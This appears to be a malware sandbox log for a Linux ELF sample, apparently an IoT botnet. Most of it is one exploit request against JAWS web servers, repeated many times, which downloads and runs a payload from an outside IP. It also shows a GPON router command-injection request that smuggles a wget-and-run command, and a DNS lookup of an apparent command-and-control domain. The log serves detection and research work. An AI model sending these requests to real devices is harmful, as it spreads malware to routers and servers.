Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://172.236.29.44/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: 9zldYT23H2.elf	String found in binary or memory: http://172.236.29.44/bin
Source: 9zldYT23H2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 9zldYT23H2.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 48734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52518
Source: unknown	Network traffic detected: HTTP traffic on port 60928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59524
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36426
Source: unknown	Network traffic detected: HTTP traffic on port 35546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45754
Source: unknown	Network traffic detected: HTTP traffic on port 54210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 20641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33508
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60928
Source: unknown	Network traffic detected: HTTP traffic on port 52518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37296
